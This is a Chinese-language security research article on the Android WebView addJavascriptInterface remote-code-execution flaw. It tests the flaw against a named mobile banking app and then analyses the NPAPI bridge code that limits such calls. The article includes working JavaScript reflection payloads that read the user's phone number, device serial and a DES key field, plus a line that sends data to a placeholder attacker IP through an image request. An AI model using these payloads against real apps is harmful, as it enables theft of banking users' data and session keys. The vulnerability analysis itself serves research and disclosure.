0x00 引言WebView.addJavascriptInterface方法导致的远程代码执行漏洞由来已久,与其相关的CVE有三个( CVE-2012-6636 、 CVE-2013-4710 、 CVE-2014-1939 )。从乌云上暴露的相关漏洞来看,常见的利用方法就是通过反射获得java.lang.Runtime的实例,然后执行一系列shell命令,从而达到读取联系人、发短信、读写SD卡文件、反弹shell、安装APK等目的,可以参考livers的文章 WebView中接口隐患与手机挂马利用。 本文通过一个例子讨论如何利用反射来获得APP的运行时信息,以及利用此方法的一些限制和原因分析。 0x01 案例1.安全的加密算法本文的起因源于对一个手机银行APP的分析。该APP使用了HTML进行数据传输,并使用了RSA和DES算法对数据加密。首先在本机利用时间戳随机生成一个用于DES加密的秘钥,然后在与服务器握手时用RSA算法(函数n返回的就是公钥)对DES秘钥加密后发送给服务器。
握手完成后,之后的数据就会使用DES进行加解密。
这种加密方式也是一种比较安全的方式,作为中间人即使截获了数据流,没有RSA私钥(这个应该只存在于银行的服务器上)也就无法解密握手数据,得不到DES秘钥也无法解密之后的数据流。 2.addJavascriptInterface的利用当前的银行手机应用已经不再仅仅满足于查询、转账这些基础功能了。比如这个应用就引入了抠电影( http://m.komovie.cn/ ),可以在应用里直接打开相关网页,选座、购票并最终跳转到APP的支付Activity。网页与应用交互采用的就是 WebView 的addJavascriptInterface 接口,注册了一个名为mpcpay的RunOnJS接口对象。
由于该应用并没有设置targetSdkVersion,因此这里应该存在着可利用的漏洞。 测试一下看看,把对http://m.komovie.cn的请求返回结果修改为本地的D:\test.htm。
相比于利用 Runtime 执行 shell 命令,我更希望能够获得程序本身内部的一些信息。test.htm的内容如下: #!html <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /> </HEAD> <BODY> </BODY> <script type="text/javascript"> try{ document.write("**********output start**********<br/>"); var runtimeClass = window.mbcpay.getClass().forName("java.lang.Runtime"); document.write(runtimeClass.toString()); document.write("<br/>"); var Release = window.mbcpay.getClass().forName("android.os.Build$VERSION").getField("RELEASE").get(null); var SDK = window.mbcpay.getClass().forName("android.os.Build$VERSION").getField("SDK").get(null); document.write("Android " + Release.toString() +" API " + SDK.toString()); document.write("<br/>"); var MyAppClass = window.mbcpay.getClass().getClassLoader().loadClass("com.nxy.henan.util.MyApplication"); document.write("Use ClassLoader to get MyAppClass: "+ MyAppClass.toString()); document.write("<br/>"); var MyAppClass2 = window.mbcpay.getClass().forName("com.nxy.henan.util.MyApplication"); document.write("Use forName to get MyAppClass2: "+ MyAppClass2.toString()); document.write("<br/>"); document.write("********** output end **********<br/>"); } catch(e) { document.write(e.toString()); document.write("<br/>"); } </script> </HTML> 输出结果如图
从代码及对应的输出结果可以看出,可以利用mbcpay.getClass().forName来获得系统类如java.lang.Runtime和android.os.Build$VERSION,但是不能获得com.nxy.henan.util.MyApplication,即APK中所定义的类(抛出了异常)。但是却可以通过mbcpay.getClass().getClassLoader().loadClass来获得。 接下来,就能比较容易的获得APK中public的类的一些静态字段,如: #!java var mobile = MyAppClass.getField("f").get(null); document.write(mobile.toString());//手机号码 document.write("<br/>"); document.write(mbcpay.getClass().getClassLoader().loadClass("com.nxy.henan.e").getField("d").get(null));//手机串号 document.write("<br/>"); 这样,只要通过在页面中加入一个img标签,并设置 #!java img.src="http://xxx.xxx.xxx.xxx/?param=......"; 就可以把想要获得的数据上传。 3. 无法获得的字节数组回过头来再看DES加密和解密的方法,其中明确说明了i.b就是DES算法所用的key。 #!java b.a("XMLManager.DESKEY=>>>>" + i.b); 而它的声明如下
没错,公开的、静态的字节数组。如果得到了数组的内容,就可以对握手之后的数据完全解密。毕竟解密方法都已经有了。于是使用 #!java var desKey = mbcpay.getClass().getClassLoader().loadClass("com.nxy.henan.f.i").getField("b").get(null); document.write(desKey.toString()); document.write("<br/>"); 得到的却是
从 [B 可以看出确实得到了一个字节数组,后面的 4394d738 应该就是它的内存地址。但是在js层面,我无法获得数组里的具体内容,因为不能用 [] ,而数组本身也没有类似的get(index)方法。 尝试使用Array.get(Object array, int index): #!java var ObjectClass = mbcpay.getClass().getClassLoader().loadClass("java.lang.Object"); var IntegerClass = mbcpay.getClass().getClassLoader().loadClass("java.lang.Integer"); var intClass = IntegerClass.getField("TYPE").get(null); var ArrayGetMethod = mbcpay.getClass().getClassLoader().loadClass("java.lang.reflect.Array").getMethod("get",[ObjectClass,intClass]); 结果只会发生异常,找不到这个get方法。 也无法使用Array.newInstance()创建实例,因为它的构造函数不是公开的。 在尝试了各种方法都无法获得deskey数组的值之后,我在程序代码里发现了这个函数
第一个参数就是握手了URL,第二个参数就是字节数组。这个函数就是前面握手时所调用的,那时的byte数组参数就是经过RSA加密的DES KEY。此时我们或许可以利用它把deskey的原始数据传出去。并且有一个名为a()的静态公开方法返回了它的唯一实例: #!java var obj_a = mbcpay.getClass().getClassLoader().loadClass("com.nxy.henan.f.a").getMethod("a",null).invoke(null,null); var ret = obj_a.b("http://www.sohu.com",desKey); document.write(ret.toString()); document.write("<br/>"); 然后得到:
意思是b是一个属性而不是一个方法。仔细看了一下,原来这个类中还声明了一个公开的变量b: #!java public class a { public static boolean a = false; public static String b = null; 其实这应该是混淆器的杰作了,把所有的函数变量都变成了abc。 好吧,直到现在,我仍然没有找到能够获得deskey数组数据的方法。 0x02 分析1. Weview中方法调用的限制为了弄清在webview中注册的对象调用方法到底有哪些限制,我写了一个例子程序进行测试: #!java package my.demo; import java.lang.reflect.Field; import dalvik.system.DexClassLoader; import android.app.Activity; import android.content.Context; import android.widget.Toast; public class MyInterface { Activity mContext; public String[] strArray = new String[]{"123"}; public int Value = 100; public String[] strArray(int value) { return this.strArray; } public String[] getStrArray(int value) { return this.strArray; } public String[] getStrArray2(String value) { return this.strArray; } public int getIntValue() { return 10; } MyInterface(Activity c) { mContext = c; } public void showToast(String webMessage){ Toast.makeText(mContext, webMessage, Toast.LENGTH_SHORT).show(); } public Activity getContext() { return mContext; } public String test1(String value1) { Class c; return "ret "+value1; } public static String test6(Object value1) { Class c; return "ret "+value1; } public String test2(String ... strs) { String ret = ""; for(int i=0;i<strs.length;i++) { ret = ret + strs[i] + " "; } return "ret "+ret; } public String test3(Class cls) { return "ret "+cls.toString(); } public String test5(Object[]clss) { try { String ret = ""; for(int i=0;i<clss.length;i++) { ret = ret + clss[i].toString() + " "; } return "ret "+ret; }catch(Exception e) { return e.toString(); } } public String test4(Class ... clss) { String ret = ""; for(int i=0;i<clss.length;i++) { ret = ret + clss[i].toString() + " "; } return "ret "+ret; } } 测试了各种有着不同签名的方法,最终得到如下结论:
有了上面这些限制条件,有很多有意思的想法便不能实现。比如不能new一个File来读写文件,不能new一个DexClassLoader来实现 动态加载外部dex/jar (这两个类都没有无参数的构造函数),当然也不能调用Array.get()来获得数组的内容。所以接下来就对WebView的相关代码进行分析,希望能找到答案。 2.NPAPIhttp://androidxref.com/ 是一个不错的Andrid源码在线浏览网站,可以找到各个版本的Android Source Code,而且搜索的速度也比较快。由于使用的测试手机系统是4.3,因此主要参考了 JellyBean - 4.3 (4.4.x和5.x中的实现与4.3略有不同,本文不再过多讨论)。经过一番查找,最后在 xref: /external/webkit/Source/WebCore/bridge/ 目录下找到了一些关键的实现类。从这个目录里的文件可以看出,google通过实现了NPAPI接口来支持js和java的交互。关于NPAPI,可以参考 https://en.wikipedia.org/wiki/NPAPI 以及 NPAPI & NPRuntime 簡介 Scriptable Plugin 。 根据NPAPI的文档以及对相关实现类的分析,绘制了下面的关系图:
当注册js对象时(本例中是mbcpay),会为该js对象创建一个JavaNPObject对象,从它一方面可以得到JavaClassJobject对象,从而得到MyInterface(mbcpay对应的java类型)的类型信息,包括字段和方法信息;另一方面可以获得JavaInstanceJobject对象,从而能够调用MyInterface实例的方法、 获取实例的属性。 JavaNPObject定义在 这里 。 这个文件里定义了几个关键的方法,通过调试可以确定这几个方法的用途: #!java //判断目标对象是否存在指定的方法,方法名由identifier指定 91 bool JavaNPObjectHasMethod(NPObject* obj, NPIdentifier identifier) //调用Invvoke执行目标对象的方法,方法名由identifier指定,其后是调用参数和结果参数 110 bool JavaNPObjectInvoke(NPObject* obj, NPIdentifier identifier, const NPVariant* args, uint32_t argCount, NPVariant* result) //判断目标对象是否存在指定的属性,属性名由identifier指定 164 bool JavaNPObjectHasProperty(NPObject* obj, NPIdentifier identifier) //获得目标对象的属性,属性名由identifier指定,其后是结果参数 179 bool JavaNPObjectGetProperty(NPObject* obj, NPIdentifier identifier, NPVariant* result) 具体调试的过程本文不再列出,不过需要说明的是,这些关键函数最终都会被编译到 /system/lib/libwebcore.so (Android 4.3)。并且函数名已经被strip掉了,最终都是一些名为sub_xxxxxxxx的函数。为了找到正确的函数地址,用到了一个比较取巧的办法。 在 JavaNPObjectInvoke 函数中,调用了 convertNPVariantToJavaValue 方法,目的是将js的调用参数转换为java对象。在这个方法中,有一些关键的字符串,如[Ljava.lang.String; 。通过在IDA中搜索相关字符串,很容易找到 convertNPVariantToJavaValue 函数的位置。
断在这个函数后,执行到返回,就可以找到 JavaNPObjectInvoke 方法的位置,进而可以找到其他函数的地址。 3.方法调用被限制的原因接下来,就可以解释为什么Webview中注册的方法会有那些调用限制了。 1.接口对象只能访问公开的字段和方法JavaClassJobject 在创建时,会去调用Java对象的getFields和getMethods,并把结果保存到内部列表里,以供以后查询。这两个方法本身就只会得到其对象的公开字段和方法,除非使用getDeclaredFields和getDeclardMethods。但是这里也没理由这么做。 2.接口对象不能直接访问公开字段,如myIntf.Value。如果同时存在公开的同名字段和方法,如strArray,那么myIntf.strArray既不能当做函数调用,也不能当做字段使用。对于myIntf.strArray,程序会首先判断这是否一个字段。 JavaNPObjectHasProperty 返回 true ,就会继续调用 JavaNPObjectGetProperty 获得属性值。在这个方法的最后有这么一段:
可以看到,如果是ANDROID系统。JavaValue value只是一个默认值,并没有调用getField。所以最后得到的结果是undefined。而对于myIntf.strArray(),程序也会把它先判断为是一个字段。因此最后的结果就是前面看到的,“property strArray of object is not a function”。 但是在 Android 4.4.2 的代码中,这个问题得到了修复。因为在这个版本中, HasProperty与GetProperty 都直接返回了false。这样strArray()就可以正常调用了。那么也许在4.4.2版本中,通过握手方法a.b()把字节数组传出就能够实现了,这里并没有再继续验证。 3.接口对象可以直接调用公开方法(静态方法或实例方法)。其参数可以是基本类型,可以是基本类型的数组,可以是对象类型,但是不!可!以!是对象类型的数组。关于这个限制,要看 convertNPVariantToJavaValue 对参数的转换。在这个函数里,支持了各种类型从NPVariant转换为JavaValue, 除非 返回值的类型是Array,而且是个非基本类型的Array。 #!java switch (javaType) { 52 case JavaTypeArray: 53 #if PLATFORM(ANDROID) ...... } else { 205 // JSC sends null for an array that is not an array of strings or basic types. 206 break; 207 } 也就是说,此方法不支持Object数组或是Class数组的参数转换,参数会直接被丢弃(转换后length=0)。 4.目标类型如果有默认的构造函数,则可以用myIntf.getClass("xxx").newInstance()创建对象。也可以用 |
|
声明:文章版权归原作者所有 部分文章转自互联网 如有侵权请联系
[邮箱地址] 删除
|